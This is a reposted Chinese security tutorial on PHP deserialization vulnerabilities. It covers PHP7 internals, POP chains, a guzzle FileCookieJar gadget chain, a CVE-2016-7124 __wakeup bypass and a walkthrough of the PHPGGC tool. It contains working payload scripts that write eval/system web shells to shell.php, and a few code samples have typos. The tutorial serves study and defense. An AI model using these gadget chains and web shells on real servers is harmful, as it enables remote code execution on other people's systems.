查看原文
其他

PHP反序列化漏洞

安全客 计算机与网络安全 2022-06-01

信息安全公益宣传,信息安全知识启蒙。

加微信群回复公众号:微信群;QQ群:16004488

加微信群或QQ群可免费索取:学习教程


PHP7:反序列化漏洞案例及分析

1、漏洞历史


对于黑客来说,如果能够利用服务器端错误,那简直相当于中了头彩。因为用户倾向于将他们的数据保存在服务器中,如果黑客能够利用这个错误,就能针对某一个目标,从而获取更大的收益。PHP脚本语言是时下最流行的web服务器端语言之一。为了消除PHP开发过程中不同类型的漏洞,人们采用了多种安全编码方案。


然而,安全编码方案不能掩盖语言本身的缺陷。PHP是用相对低级的语言写成的,其中常见的漏洞有内存损坏漏洞,而use-after-free漏洞最为普遍。


这些年来,PHP语言得到了不断的改进,在2015年12月,一个重要的新版本——PHP7被公布出来。这个版本的内部结构与PHP5有很大不同,分配器已经发生了改变,而变量的内部表示(zvals)也完全不同了。


通过一个反序列化漏洞,Check Point研究小组成功演示了一项对PHP7的利用。在这篇报告中,我们将会一步步解释这是如何完成的。


 2、技术背景


为了更好地解释这项利用,我们首先要回顾一些关键的技术细节。


(1)值和对象


在PHP-7中,用来保存值的结构与php-5有所不同。


在内部保存值的结构是zval(_zval_struct)。这个结构的第一个字段是zend_value,其中包含指向PHP基本类型的指针和结构,而主要类型有Boolean、integer、double、string、object和array 等。


我们需要关注的类型是String、Object和Array,它们在内部中被表示为zend_string、zend_object和zend_array结构。


zend_string是用于保存字符串的结构。当引擎创建了一个新的字符串后,它会分配足够的字节给zend_string结构,对字符串的大小进行扩充。然后,它会用字符串的数据填补这个结构的字段,并在结构的末尾添加上字符串的内容。因此,字符串创建为我们提供了一种在不同的尺寸中进行分配的方法:sizeof(zend_string)+ strlen(str)= 16 + strlen(str)。这样,我们就没法再伪造一个字符串zval,并让它指向我们想要的地方了,这和使用PHP-5时有所不同。


zend_object用来表示对象的基本结构。它通常被嵌入在一个代表着不同类型对象的结构中。当zval保存了一个对象时,它的value 字段是一个指向zend_object的指针。


zend_array(又名HashTable)是保存键值存储的结构。这是一个对哈希表数据结构的直接应用,其中的arData字段指向Bucket结构内的一个数组。


总体来说,我们可以看到,PHP-7值系统更倾向于嵌入结构(PHP-5相比)。这种改变可以提高代码的效率(减少分配),让我们难以利用与内存相关的bug(更少的引用)。


(2)PHP-7内存分配器


在PHP-7中,内存分配器的工作原理不同于PHP-5。小的分配(slot)由一个free list完成。每个分配大小都有一个对应的free list。free list通过一个或多个连续页(bin)进行初始化,而free list的初始化使得每一个slot指向下一个slot。一旦free list耗尽,一个新的bin会被分配出来。


重点:


  • 一个slot的元数据是基于所在页面进行检索的。(地址对齐到最近的chunk)

  • 下一个分配的位置可能是当前分配的位置+分配的大小。例如,如果分配器以0 

  • x28的大小返回到地址0xf7e10000,那么下一个大小为0 x28的分配就位于0 xf7e10028。为了简单起见,我们假定这是真实的。注意,在最后一个primitive(下文Writing Memory / 64中会提到),我们设计了一个不依赖这一假设,但仍能触发错误的方法。

  • 分配大小被四舍五入成了某个预定义的大小。

 

(3)反序列化


unserialize函数被用于将格式化字符串内的对象进行实例化,在反序列化期间,每个解析元素都有一个索引号,号码从1开始。


在内部,每个解析值都被放到了php_unserialize_data_t的两个数组中。第一个数组是values-array,第二个是destructor-array。在反序列化期间,值可以重新定义,即在stdClass(最基本的PHP的对象——一个键值存储)中,同一个key可以用不同的值反序列化两次。如果是这样的话,第一个定义会被覆盖,引用也会从数值数组中被移除。然而引用会被保存在destructor-array中。当反序列化结束时,destructor-array中每个值的引用数都会被减少,如果减少到零,它就会被释放。


所以请记住,在反序列化过程中,值不能被释放,只有最后的过程中才可以。


3、BUG (# 71311)


这里的bug是一个Use-After-Free bug,培训存在于标准php库内ArrayObject的反序列化函数中。


ArrayObject是一个SPL对象,它允许对象以数组的形式工作。在内部,它被表示为spl_array_object。这是该对象的序列化形式:


spacer.gif


C:11:"ArrayObject":37:{x:i:0;a:2:{i:0;i:0;i:1;i:1;};m:a:0:{}}


  • 37是括号内的字符数

  • x:i:0;对应于结构中的nr_flags字段

  • a:2:{i:0;i:0;i:1;i:1;}对应于结构中的数组字段(从这个角度,它被称为internal数组以区别于对象本身)

  • m:a:0:{}对应于zend_object std字段内的properties字段(从这个角度,称为members数组)。


当对ArrayObject进行反序列化时,引擎首先会将一个默认的、拥有内部数组的ArrayObject实例化,然后解析ArrayObject的字段。当它解析到与内部数组相关的部分时,会释放初始的内部数组,然后通过引用,调用php_var_unserialize,并指向内部数组,目的是想让函数将它变成已经解析过的内部数组。内部数组可以是一个已经解析的数组的引用,在这种情况下,内部数组被修改为指向引用的数组,同时引用计数会有所增加。


在内部数组对自身进行引用时,错误出现了。这导致内部指针被分配给自己(即无操作),并指向释放了的数组,然后,数组的引用计数会增加。


 4、有漏洞的代码


我们利用的代码常被用于反序列化开发。我们建立了一个运行以下PHP脚本的apache服务器:

 


这个脚本给了我们一个反馈。尽管我们对远程可利用性的要求有所降低,但在每一个情境中,反映到客户端的反序列化数据都是适合的。


我们通过向data参数内的脚本发送字符串进行了利用。在利用过程中,我们从返回的序列化字符串中推断出了一些内部信息。



PHP反序列化漏洞

0x00 序列化的作用


(反)序列化给我们传递对象提供了一种简单的方法。

serialize()将一个对象转换成一个字符串

unserialize()将字符串还原为一个对象

反序列化的数据本质上来说是没有危害的

用户可控数据进行反序列化是存在危害的

可以看到,反序列化的危害,关键还是在于可控或不可控。


0x01 PHP序列化格式


1. 基础格式

boolean

1

2

3

b:;

b:1; // True

b:0; // False

integer

1

2

3

i:;

i:1; // 1

i:-3; // -3

double

1

2

d:;

d:1.2345600000000001; // 1.23456(php弱类型所造成的四舍五入现象)

NULL

1

N; //NULL

string

1

2

s::"";

s"INSOMNIA"; // "INSOMNIA"

array

1

2

a::{key, value pairs};

a{s"key1";s"value1";s"value2";} // array("key1" => "value1", "key2" => "value2")

2. 序列化举例

test.php

1

2

3

4

5

6

7

8

9

10

11

12

13

<?php

class test

{

    private $flag = 'Inactive';

    public function set_flag($flag)

    {

        $this->flag = $flag;

    }

    public function get_flag($flag)

    {

        return $this->flag;

    }

}

我们来生成一下它的序列化字符串:

serialize.php

1

2

3

4

5

6

<?php

require "./test.php";

$object = new test();

$object->set_flag('Active');

$data = serialize($object);

file_put_contents('serialize.txt', $data);

代码不难懂,我们通过生成的序列化字符串,来细致的分析一下序列化的格式:

1

2

O:4:"test":1:{s:10:"testflag";s:6:"Active";}

O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}

3. 注意

这里有一个需要注意的地方,testflag明明是长度为8的字符串,为什么在序列化中显示其长度为10?

翻阅php官方文档我们可以找到答案:

对象的私有成员具有加入成员名称的类名称;受保护的成员在成员名前面加上'*'。这些前缀值在任一侧都有空字节。

所以说,在我们需要传入该序列化字符串时,需要补齐两个空字节:

1

O:4:"test":1:{s:10:"%00test%00flag";s:6:"Active";}

4. 反序列化示例

unserialize.php

1

2

3

4

5

<?php

$filename = file_get_contents($filename);

$object = unserialize($filename);

var_dump($object->get_flag());

var_dump($object);


0x02 PHP(反)序列化有关的魔法函数


construct(), destruct()

构造函数与析构函数

call(), callStatic()

方法重载的两个函数

__call()是在对象上下文中调用不可访问的方法时触发

__callStatic()是在静态上下文中调用不可访问的方法时触发。

get(), set()

__get()用于从不可访问的属性读取数据。

__set()用于将数据写入不可访问的属性。

isset(), unset()

__isset()在不可访问的属性上调用isset()或empty()触发。

__unset()在不可访问的属性上使用unset()时触发。

sleep(), wakeup()

serialize()检查您的类是否具有魔术名sleep()的函数。如果是这样,该函数在任何序列化之前执行。它可以清理对象,并且应该返回一个数组,其中应该被序列化的对象的所有变量的名称。如果该方法不返回任何内容,则将NULL序列化并发出E_NOTICE。sleep()的预期用途是提交挂起的数据或执行类似的清理任务。此外,如果您有非常大的对象,不需要完全保存,该功能将非常有用。

unserialize()使用魔术名wakeup()检查函数的存在。如果存在,该功能可以重构对象可能具有的任何资源。wakeup()的预期用途是重新建立在序列化期间可能已丢失的任何数据库连接,并执行其他重新初始化任务。

__toString()

__toString()方法允许一个类决定如何处理像一个字符串时它将如何反应。

__invoke()

当脚本尝试将对象调用为函数时,调用__invoke()方法。

__set_state()

__clone()

__debugInfo()


0x03 PHP反序列化与POP链


就如前文所说,当反序列化参数可控时,可能会产生严重的安全威胁。

面向对象编程从一定程度上来说,就是完成类与类之间的调用。就像ROP一样,POP链起于一些小的“组件”,这些小“组件”可以调用其他的“组件”。在PHP中,“组件”就是这些魔术方法(__wakeup()或__destruct)。

一些对我们来说有用的POP链方法:

命令执行:

1

2

3

4

exec()

passthru()

popen()

system()

文件操作:

1

2

3

file_put_contents()

file_get_contents()

unlink()

2. POP链demo

popdemo.php

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

<?php

class popdemo

{

    private $data = "demo\n";

    private $filename = './demo';

    public function __wakeup()

    {

        // TODO: Implement __wakeup() method.

        $this->save($this->filename);

    }

    public function save($filename)

    {

        file_put_contents($filename, $this->data);

    }

}

上面的代码即完成了一个简单的POP链,若传入一个构造好的序列化字符串,则会完成写文件操作。

poc.php

1

2

3

4

5

<?php

require "./popdemo.php";

$demo = new popdemo();

file_put_contents('./pop_serialized.txt', serialize($demo));

pop_unserialize.php

1

2

3

<?php

require "./popdemo.php";

unserialize(file_get_contents('./pop_serialized.txt'));

表面看上去,我们完美的执行了代码的功能,那么我们改一下序列化代码,看一看效果:

改为:

1

2

O:7:"popdemo":2:{s:13:"popdemodata";s:5:"hack

";s:17:"popdemofilename";s:6:"./hack";}

便执行了我们想要执行的效果:

3. Autoloading与(反)序列化威胁

PHP只能unserialize()那些定义了的类

传统的PHP要求应用程序导入每个类中的所有类文件,这样就意味着每个PHP文件需要一列长长的include或require方法,而在当前主流的PHP框架中,都采用了Autoloading自动加载类来完成这样繁重的工作。

在完善简化了类之间调用的功能的同时,也为序列化漏洞造成了便捷。

举个例子:

目录结构为下:

index.php

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

<?php

class autoload

{

    public static function load1($className)

    {

        if (is_file($className.'.php'))

        {

            require $className.'.php';

        }

    }

    public static function load2($className)

    {

        if (is_file('./app/'.$className.'.php'))

        {

            require './app/'.$className.'.php';

        }

    }

    public static function load3($className)

    {

        if (is_file('./lib/'.$className.'.php'))

        {

            require './lib/'.$className.'.php';

        }

    }

}

spl_autoload_register('autoload::load1()');

spl_autoload_register('autoload::load2()');

spl_autoload_register('autoload::load3()');

$test1 = new test1();

$test2 = new test2();

$test3 = new test3();

test1.php

1

2

3

4

5

6

7

8

9

10

11

12

13

14

<?php

class test1

{

    private $test1_data = 'test1_data';

    private $test1_filename = './test1_demo.txt';

    public function __construct()

    {

        $this->save($this->test1_filename);

    }

    public function save($test1_filename)

    {

        file_put_contents($test1_filename, $this->test1_data);

    }

}

其余的test2和test3和test1的内容类似。

运行一下index.php:

可以看到已经自动加载类会自动寻找已经注册在其队列中的类,并在其被实例化的时候,执行相关的操作。

若想了解更多关于自动加载类的资料,请查阅spl_autoload_register

4. Composer与Autoloading

说到了Autoloader自动加载类,就不得不说一下Composer这个东西了。Composer是PHP用来管理依赖(dependency)关系的工具。你可以在自己的项目中声明所依赖的外部工具库(libraries),Composer 会帮你安装这些依赖的库文件。

经常搭建框架环境的同学应该对这个非常熟悉了,无论是搭建一个新的Laravel还是一个新的Symfony,安装步骤中总有一步是通过Composer来进行安装。

比如在安装Laravel的时候,执行composer global require "laravel/installer"就可以搭建成以下目录结构的环境:

其中已经将环境所需的依赖库文件配置完毕,正是因为Composer与Autuoloading的有效结合,才构成了完整的POP数据流。


0x04 反序列化漏洞的挖掘


1. 概述

通过上面对Composer的介绍,我们可以看出,Composer所拉取的依赖库文件是一个框架的基础。

而Composer默认是从Packagist来下载依赖库的。

所以我们挖掘漏洞的思路就可以从依赖库文件入手。

目前总结出来两种大的趋势,还有一种猜想:

1.从可能存在漏洞的依赖库文件入手

2.从应用的代码框架的逻辑上入手

3.从PHP语言本身漏洞入手

接下来逐个的介绍一下。

2. 依赖库

以下这些依赖库,准确来说并不能说是依赖库的问题,只能说这些依赖库存在我们想要的文件读写或者代码执行的功能。而引用这些依赖库的应用在引用时并没有完善的过滤,从而产生漏洞。

cartalyst/sentry

cartalyst/sentinel

寻找依赖库漏洞的方法,可以说是简单粗暴:

首先在依赖库中使用RIPS或grep全局搜索__wakeup()和__destruct()

从最流行的库开始,跟进每个类,查看是否存在我们可以利用的组件(可被漏洞利用的操作)

手动验证,并构建POP链

利用易受攻击的方式部署应用程序和POP组件,通过自动加载类来生成poc及测试漏洞。

以下为一些存在可利用组件的依赖库:

任意写

monolog/monolog(<1.11.0)

guzzlehttp/guzzle

guzzle/guzzle

任意删除

swiftmailer/swiftmailer

拒绝式服务(proc_terminate())

symfony/process

下面来举一个老外已经说过的经典例子,来具体的说一下过程。

例子

1. 寻找可能存在漏洞的应用

存在漏洞的应用:cartalyst/sentry

漏洞存在于:/src/Cartalyst/Sentry/Cookies/NativeCookie.php

1

2

3

4

5

6

7

8

     ...

  public function getCookie()

  {

     ...

     return unserialize($_COOKIE[$this->getKey()]);

     ...

  }

}

应用使用的库中的可利用的POP组件:guzzlehttp/guzzle

寻找POP组件的最好方式,就是直接看composer.json文件,该文件中写明了应用需要使用的库。

1

2

3

4

5

6

7

8

 {

    "require": {

    "cartalyst/sentry": "2.1.5",

    "illuminate/database": "4.0.*",

    "guzzlehttp/guzzle": "6.0.2",

    "swiftmailer/swiftmailer": "5.4.1"

  }

}

2. 寻找可以利用的POP组件

我们下载guzzlehttp/guzzle这个依赖库,并使用grep来搜索一下__destruct()和__wakeup()

逐个看一下,在/guzzle/src/Cookie/FileCookieJar.php发现可利用的POP组件:

跟进看一下save方法:

存在一下代码,造成任意文件写操作:

1

if (false === file_put_contents($filename, $jsonStr))

注意到现在$filename可控,也就是文件名可控。同时看到$jsonStr为上层循环来得到的数组经过json编码后得到的,且数组内容为$cookie->toArray(),也就是说如果我们可控$cookie->toArray()的值,我们就能控制文件内容。

如何找到$cookie呢?注意到前面

跟进父类,看到父类implements了CookieJarInterface

还有其中的toArray方法

很明显调用了其中的SetCookie的接口:

看一下目录结构:

所以定位到SetCookie.php:

可以看到,这里只是简单的返回了data数组的特定键值。

3. 手动验证,并构建POP链

首先我们先在vm中写一个composer.json文件:

1

2

3

4

5

{

    "require": {

        "guzzlehttp/guzzle": "6.0.2"

    }

}

接下来安装Composer:

1

$ curl -sS https://getcomposer.org/installer | php

然后根据composer.json来安装依赖库:

1

$ php composer.phar install

接下来,我们根据上面的分析,来构造payload:

payload.php

1

2

3

4

5

6

7

8

9

10

11

12

13

<?php

        require __DIR__.'/vendor/autoload.php';

        use GuzzleHttp\Cookie\FileCookieJar;

        use GuzzleHttp\Cookie\SetCookie;

        $obj = new FileCookieJar('./shell.php');

        $payload = '<?php echo system($_POST[\'poc\']);?>';

        $obj->setCookie(new SetCookie([

                'Name' => 'lucifaer',

                'Value' => 'test_poc',

                'Domain' => $paylaod,

                'Expires' => time()

        ]));

        file_put_contents('./build_poc', serialize($obj));

我们执行完该脚本,看一下生成的脚本的内容:

我们再写一个反序列化的demo脚本:

1

2

3

<?php

    require __DIR__.'/vendor/autoload.php';

    unserialize(file_get_contents("./build_poc"));

运行后,完成任意文件写操作。至此,我们可以利用生成的序列化攻击向量来进行测试。

3. PHP语言本身漏洞

提到这一点就不得不说去年的CVE-2016-7124,同时具有代表性的漏洞即为SugarCRM v6.5.23 PHP反序列化对象注入

在这里我们就不多赘述SugarCRM的这个漏洞,我们来聊一聊CVE-2016-7124这个漏洞。

触发该漏洞的PHP版本为PHP5小于5.6.25或PHP7小于7.0.10。

漏洞可以简要的概括为:当序列化字符串中表示对象个数的值大于真实的属性个数时会跳过__wakeup()的执行。

我们用一个demo来解释一下。

例子

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

<?php

class Test

{

   private $poc = '';

   public function __construct($poc)

   {

       $this->poc = $poc;

   }

   function __destruct()

   {

       if ($this->poc != '')

       {

           file_put_contents('shell.php', '<?php eval($_POST[\'shell\']);?>');

           die('Success!!!');

       }

       else

       {

           die('fail to getshell!!!');

       }        

   }

   function __wakeup()

   {

       foreach(get_object_vars($this) as $k => $v)

       {

           $this->$k = null;

       }

       echo "waking up...\n";

   }

}

$poc = $_GET['poc'];

if(!isset($poc))

{

   show_source(__FILE__);

   die();

}

$a = unserialize($poc);

代码很简单,但是关键就是需要再反序列化的时候绕过__wakeup以达到写文件的操作。

根据cve-2016-7124我们可以构造一下我们的poc:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

<?php

class Test

    {

        private $poc = '';

        public function __construct($poc)

        {

            $this->poc = $poc;

        }

        function __destruct()

        {

            if ($this->poc != '')

            {

                file_put_contents('shell.php', '<?php eval($_POST[\'shell\']);?>');

                die('Success!!!');

            }

            else

            {

                die('fail to getshell!!!');

            }        

        }

        function __wakeup()

        {

            foreach(get_object_vars($this) as $k => $v)

            {

                $this->$k = null;

            }

            echo "waking up...\n";

        }

    }

$a = new Test('shell');

$poc = serialize($a);

print($poc);

运行该脚本,我们就获得了我们poc

通上文所说道的,在这里需要改两个地方:

将1改为大于1的任何整数

将Testpoc改为%00Test%00poc

传入修改后的poc,即可看到:

写文件操作执行成功。


0x05 拓展思路


1. 抛砖引玉——魔法函数可能造成的威胁

刚刚想到这一点的时候准备好好研究一下,没想到p师傅第二天小密圈就放出来这个话题了。接下来顺着这个思路,我们向下深挖一下。

__toString()

经过上面的总结,我们不难看出,PHP中反序列化导致的漏洞中,除了利用PHP本身的漏洞以外,我们通常会寻找__destruct、__wakeup、__toString等方法,看看这些方法中是否有可利用的代码。

而由于惯性思维,__toString常常被漏洞挖掘者忽略。其实,当反序列化后的对象被输出在模板中的时候(转换成字符串的时候),就可以触发相应的漏洞。

__toString触发条件:

echo ($obj) / print($obj) 打印时会触发

字符串连接时

格式化字符串时

与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

格式化SQL语句,绑定参数时

数组中有字符串时

我们来写一个demo看一下

toString_demo.php

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

<?php

class toString_demo

{

    private $test1 = 'test1';

    public function __construct($test)

    {

        $this->test1 = $test;

    }

    public function __destruct()

    {

        // TODO: Implement __destruct() method.

        print "__destruct:";

        print $this->test1;

        print "\n";

    }

    public function __wakeup()

    {

        // TODO: Implement __wakeup() method.

        print "__wakeup:";

        $this->test1 = "wakeup";

        print $this->test1."\n";

    }

    public function __toString()

    {

        // TODO: Implement __toString() method.

        print "__toString:";

        $this->test1 = "tosTRING";

        return $this->test1."\n";

    }

}

$a = new toString_demo("demo");

$b = serialize($a);

$c = unserialize($b);

//print "\n".$a."\n";

//print $b."\n";

print $c;

执行结果为下:

通过上面的测试,可以总结以下几点:

echo ($obj) / print($obj) 打印时会触发

__wakeup的优先级>__toString>__destruct

每执行完一个魔法函数,

接下来从两个方面继续来深入:

字符串操作

魔术函数的优先级可能造成的变量覆盖

字符串操作

字符串拼接:

在字符串与反序列化后的对象与字符串进行字符串拼接时,会触发__toString方法。

字符串函数:

经过测试,当反序列化后的最想在经过php字符串函数时,都会执行__toString方法,从这一点我们就可以看出,__toString所可能造成的安全隐患。

下面举几个常见的函数作为例子(所使用的类还是上面给出的toString_demo类):

数组操作

将反序列化后的对象加入到数组中,并不会触发__toString方法:

但是在in_array()方法中,在数组中有__toString返回的字符串的时候__toString会被调用:

class_exists

从in_array()方法中,我们又有了拓展性的想法。我们都知道,在php底层,类似于in_array()这类函数,都属于先执行,之后返回判断结果。那么顺着这个想法,我想到了去年的IPS Community Suite <= 4.1.12.3 Autoloaded PHP远程代码执行漏洞,这个漏洞中有一个非常有意思的触发点,就是通过class_exists造成相关类的调用,从而触发漏洞。

通过测试,我们发现了,如果将反序列化后的对象带入class_exists()方法中,同样会造成__toString的执行:

2. 猜想——对象处理过程可能出现的威胁

通过class_exists可能触发的危险操作,继续向下想一下,是否在对象处理过程中也有可能存在漏洞呢?

还记的去年爆出了一个PHP GC算法和反序列化机制释放后重用漏洞,是垃圾回收机制本身所出现的问题,在释放与重用的过程中存在的问题。

顺着这个思路,大家可以继续在对象创建、对象执行、对象销毁方面进行深入的研究。


0x06 PHPggc


在0x04的第二节中,我们提到了cms在引用某些依赖库时,可能存在(反)序列化漏洞。那么是否有工具可以生成这些通用型漏洞的测试向量呢?

当然是存在的。在github上我们找到了PHPggc这个工具,它可以快速的生成主流框架的序列化测试向量。

关于该测试框架的一点简单的分析

1. 目录结构

目录结构为下:

1

2

3

4

5

|- phpggc 

|-- gadgetchains    // 相应框架存在漏洞的类以及漏洞利用代码

|-- lib             // 框架调度及核心代码

|-- phpggc          // 入口

|-- README.md

2. 框架运行流程

首先,入口文件为phpggc,直接跟进lib/PHPGGC.php框架核心文件。

在__construct中完成了当前文件完整路径的获取,以及定义自动加载函数,以实现对于下面的类的实例化操作。

关键的操作为:

1

$this->gadgets = $this->get_gadget_chains();

可以跟进代码看一看,其完成了对于所有payload的加载及保存,将所有的payload进行实例化,并保存在一个全局数组中,以方便调用。

可以动态跟进,看一下:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

public function get_gadget_chains()

    {

        $this->include_gadget_chains();

        $classes = get_declared_classes();

        $classes = array_filter($classes, function($class)

        {

            return is_subclass_of($class, '\\PHPGGC\\GadgetChain') &&

                   strpos($class, 'GadgetChain\\') === 0;

        });

        $objects = array_map(function($class)

        {

            return new $class();

        }, $classes);

        # Convert backslashes in classes names to forward slashes,

        # so that the command line is easier to use

        $classes = array_map(function($class)

        {

            return strtolower(str_replace('\\', '/', $class));

        }, $classes);

        return array_combine($classes, $objects);

    }

跟进include_gadget_chains方法中看一下:

1

2

3

4

5

6

7

8

9

protected function include_gadget_chains()

    {

        $base = $this->base . self::DIR_GADGETCHAINS;

        $files = glob($base . '/*/*/*/chain.php');

        array_map(function ($file)

        {

            include_once $file;

        }, $files);

    }

在这边首先获取到当前路径,之后从根目录将其下子目录中的所有chain.php遍历一下,将其路劲存储到$files数组中。接着将数组中的所有chain.php包含一遍,保证之后的调用。

回到get_gadget_chains接着向下看,将返回所有已定义类的名字所组成的数组,将其定义为$classes,接着将是PHPGGC\GadgetChain子类的类,全部筛选出来(也就是将所有的payload筛选出来),并将其实例化,在其完成格式化后,返回一个由其名与实例化后的类所组成的键值数组。

到此,完成了最基本框架加载与类的实例化准备。

跟着运行流程,看到generate方法:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

public function generate()

    {

        global $argv;

        $parameters = $this->parse_cmdline($argv);

        if(count($parameters) < 1)

        {

            $this->help();

            return;

        }

        $class = array_shift($parameters);

        $gc = $this->get_gadget_chain($class);

        $parameters = $this->get_type_parameters($gc, $parameters);

        $generated = $this->serialize($gc, $parameters);

        print($generated . "\n");

    }

代码很简单,一步一步跟着看,首先parse_cmdline完成了对于所选模块及附加参数的解析。

接下来array_shift完成的操作就是将我们所选的模块从数组中抛出来。

举个例子,比如我们输入如下:

1

$ ./phpggc monolog/rce1 'phpinfo();'

当前的$class为monolog/rce1,看到接下来进入了get_gadget_chain方法中,带着我们参数跟进去看。

1

2

3

4

5

6

7

8

9

public function get_gadget_chain($class)

    {

        $full = strtolower('GadgetChain/' . $class);

        if(!in_array($full, array_keys($this->gadgets)))

        {

            throw new PHPGGC\Exception('Unknown gadget chain: ' . $class);

        }

        return $this->gadgets[$full];

    }

现在的$full为gadgetchain/monolog/rce1,ok,看一下我们全局存储的具有payload的数组:

可以很清楚的看到,返回了一个已经实例化完成的GadgetChain\Monolog\RCE1的类。对应的目录则为/gadgetchains/Monolog/RCE/1/chain.php

继续向下,看到将类与参数传入了get_type_parameters,跟进:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

protected function get_type_parameters($gc, $parameters)

    {

        $arguments = $gc->parameters;

        $values = @array_combine($arguments, $parameters);

        if($values === false)

        {

            $this->o($gc, 2);

            $arguments = array_map(function ($a) {

                return '<' . $a . '>';

            }, $arguments);

            $message = 'Invalid arguments for type "' . $gc->type . '" ' . "\n" .

                       $this->_get_command_line($gc->get_name(), ...$arguments);

            throw new PHPGGC\Exception($message);

        }

        return $values;

    }

其完成的操作对你想要执行或者写入的代码进行装配,即code标志位与你输入的RCE代码进行键值匹配。若未填写代码,则返回错误,成功则返回相应的数组以便进行payload的序列化。

看完了这个模块后,再看我们最后的一个模块:将RCE代码进行序列化,完成payload的生成:

1

2

3

4

5

6

7

8

9

10

11

public function serialize($gc, $parameters)

    {

        $gc->load_gadgets();

        $parameters = $gc->pre_process($parameters);

        $payload = $gc->generate($parameters);

        $payload = $this->wrap($payload);

        $serialized = serialize($payload);

        $serialized = $gc->post_process($serialized);

        $serialized = $this->apply_filters($serialized);

        return $serialized;

    }



▼ 点击阅读原文,查看更多精彩文章。

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存